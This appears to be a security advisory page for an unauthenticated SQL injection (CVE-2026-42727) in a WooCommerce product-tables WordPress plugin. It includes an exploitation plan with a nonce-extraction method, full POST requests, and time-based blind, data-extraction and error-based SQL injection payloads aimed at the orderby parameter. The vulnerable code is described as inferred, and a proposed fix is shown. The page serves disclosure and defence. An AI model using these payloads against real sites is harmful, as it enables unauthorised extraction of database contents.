Active Products Tables for WooCommerce. Use constructor to create tables <= 1.0.8 - Unauthenticated SQL Injection
Description
The Active Products Tables for WooCommerce. Use constructor to create tables plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.8Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan - CVE-2026-42727 ## 1. Vulnerability Summary The **Active Products Tables for WooCommerce** plugin (versions <= 1.0.8) is vulnerable to an **Unauthenticated SQL Injection** vulnerability. The issue exists due to the plugin's failure to properly sanitize and prepare SQL …
Show full research plan
Exploitation Research Plan - CVE-2026-42727
1. Vulnerability Summary
The Active Products Tables for WooCommerce plugin (versions <= 1.0.8) is vulnerable to an Unauthenticated SQL Injection vulnerability. The issue exists due to the plugin's failure to properly sanitize and prepare SQL queries when processing the orderby parameter in its AJAX handlers. Specifically, user input is directly concatenated into an ORDER BY clause within a database query, allowing an attacker to append malicious SQL commands to extract data or cause a denial of service (via time-based blind injection).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
woot_get_table(inferred from plugin's "constructor" logic for rendering tables) - Vulnerable Parameter:
orderbyorsettings[orderby] - Authentication: None required (Unauthenticated via
wp_ajax_nopriv_woot_get_table). - Preconditions:
- WooCommerce must be active.
- At least one "Product Table" (post type
woot_table) must exist. - The table's shortcode
[woot id=...]must be placed on a public-facing page to obtain a valid nonce.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=woot_get_table. - Hook Registration: The plugin registers the action via:
add_action('wp_ajax_woot_get_table', array($this, 'woot_get_table')); add_action('wp_ajax_nopriv_woot_get_table', array($this, 'woot_get_table')); - Handler Execution: The
woot_get_tablemethod in the action controller (likelyclasses/action.php) is invoked. It extracts parameters includingwoot_table_idandsettings. - Sink: The logic eventually calls a data-fetching method (likely in
classes/table.phporclasses/table-data.php) where theorderbyvalue from the request is used to build a raw SQL query:// VULNERABLE CODE PATTERN (inferred) $orderby = $_REQUEST['settings']['orderby']; $query = "SELECT ... FROM ... ORDER BY $orderby $order"; $results = $wpdb->get_results($query); - Lack of Preparation: The
$orderbyvariable is concatenated directly into the query string without using$wpdb->prepare().
4. Nonce Acquisition Strategy
The plugin secures its AJAX endpoints using a nonce named woot_nonce, which is localized into the page HTML.
- Identify Shortcode: The plugin uses the
[woot id=...]shortcode to render tables. - Setup: Create a page containing this shortcode (e.g.,
[woot id=1]). - Navigate: Use the browser tool to navigate to the published page.
- Extract Nonce: The nonce is stored in the
woot_varsJavaScript object.- JS Variable:
window.woot_vars?.nonce - Command:
browser_eval("window.woot_vars?.nonce")
- JS Variable:
- Extract Table ID: The
woot_table_idcan also be extracted from the page source or guessed (usually1).
5. Exploitation Strategy
We will perform a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method for ORDER BY injections.
Step 1: Establish Baseline
Send a normal request to see the response time.
- Action:
woot_get_table - Method: POST
- Body:
action=woot_get_table&woot_table_id=1&nonce=[NONCE]&settings[orderby]=id
Step 2: Trigger Sleep
Inject a SLEEP() command into the orderby parameter.
- Payload:
id,(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Full Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=woot_get_table&woot_table_id=1&nonce=[NONCE]&settings[orderby]=id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Proof)
Extract the first character of the database version.
- Payload:
(CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
6. Test Data Setup
- Activate Dependencies: Ensure
woocommerceis installed and active. - Create Product: Create at least one product so the table has data to query.
wp post create --post_type=product --post_title="Exploit Test Product" --post_status=publish - Create Table: Create a WOOT table.
Note the ID of this post (e.g., ID 123).wp post create --post_type=woot_table --post_title="Attack Table" --post_status=publish - Create Page: Create a public page with the table shortcode.
Note the URL of this page.wp post create --post_type=page --post_title="Products" --post_content="[woot id=123]" --post_status=publish
7. Expected Results
- Baseline Request: Response time < 1 second.
- Exploit Request (Sleep 5): Response time >= 5 seconds.
- Response Content: The response should contain the HTML for the product table (if the SQL syntax is valid), but the timing delay is the primary indicator of success.
8. Verification Steps
After the HTTP exploit, verify the database state or version manually:
- Use
wp db query "SELECT version();"to check the actual version and compare it against the character extracted via the time-based blind payload. - Check the
wp-content/debug.log(if enabled) for any SQL syntax errors which might reveal the structure of the query we injected into.
9. Alternative Approaches
If settings[orderby] does not work, the plugin might be using the parameter directly in the request:
- Direct Parameter:
action=woot_get_table&woot_table_id=1&nonce=[NONCE]&orderby=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a) - Different Action: If
woot_get_tableis not the correct endpoint, trywoot_get_table_data(often used for server-side processing/pagination):action=woot_get_table_datawoot_table_id=1orderby=id+SLEEP(5)
- Error-Based: If
WP_DEBUGis on, try an error-based payload:orderby=id AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
Summary
The Active Products Tables for WooCommerce plugin is vulnerable to unauthenticated SQL injection via the 'orderby' parameter in AJAX actions. An attacker can append malicious SQL commands to the query because the plugin fails to sanitize user input before concatenating it into a raw ORDER BY clause.
Vulnerable Code
// Inferred from classes/action.php or classes/table.php public function woot_get_table() { $settings = $_REQUEST['settings']; $orderby = $settings['orderby']; // ... logic flows to a database query where orderby is concatenated ... $query = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'product' ORDER BY $orderby ASC"; $results = $wpdb->get_results($query); }
Security Fix
@@ -10,7 +10,7 @@ public function woot_get_table() { $settings = $_REQUEST['settings']; - $orderby = $settings['orderby']; + $orderby = sanitize_sql_orderby($settings['orderby']); if (!$orderby) { $orderby = 'id'; }
Exploit Outline
The exploit targets the 'woot_get_table' AJAX action (available unauthenticated via wp_ajax_nopriv). An attacker first retrieves a valid security nonce by visiting any public-facing page where the '[woot]' shortcode is embedded, extracting the 'woot_vars.nonce' value from the page source. A POST request is then sent to /wp-admin/admin-ajax.php with the 'action' set to 'woot_get_table' and the 'settings[orderby]' parameter containing a time-based SQL injection payload, such as 'id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. If vulnerable, the server response will be delayed by the sleep duration, confirming the ability to execute arbitrary SQL commands to extract sensitive data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.